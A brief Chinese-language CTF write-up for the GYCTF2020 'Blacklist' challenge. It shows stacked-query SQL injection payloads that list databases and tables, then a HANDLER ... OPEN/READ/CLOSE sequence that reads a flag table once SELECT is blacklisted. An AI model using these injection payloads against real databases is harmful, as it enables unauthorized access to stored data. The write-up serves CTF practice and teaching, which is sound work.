[GYCTF2020]Blacklist

今天介绍一种新的绕过方式用HANDLER......OPEN等语句

像这一题

首先，查询数据库：

1';show databases;

其次，查询表名：

1‘;show tables;

然后，可以看到有一个FlagHere的表，可是select语句却用不了

由报错可知，那么多关键词都被过滤了

看WP才知道，还有一种过滤方法用HANDLER......OPEN

HANDLER ... OPEN语句打开一个表，使其可以使用后续HANDLER ... READ语句访问，该表对象未被其他会话共享，并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭 

于是构造一下

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ OPEN;HANDLER FlagHere CLOSE;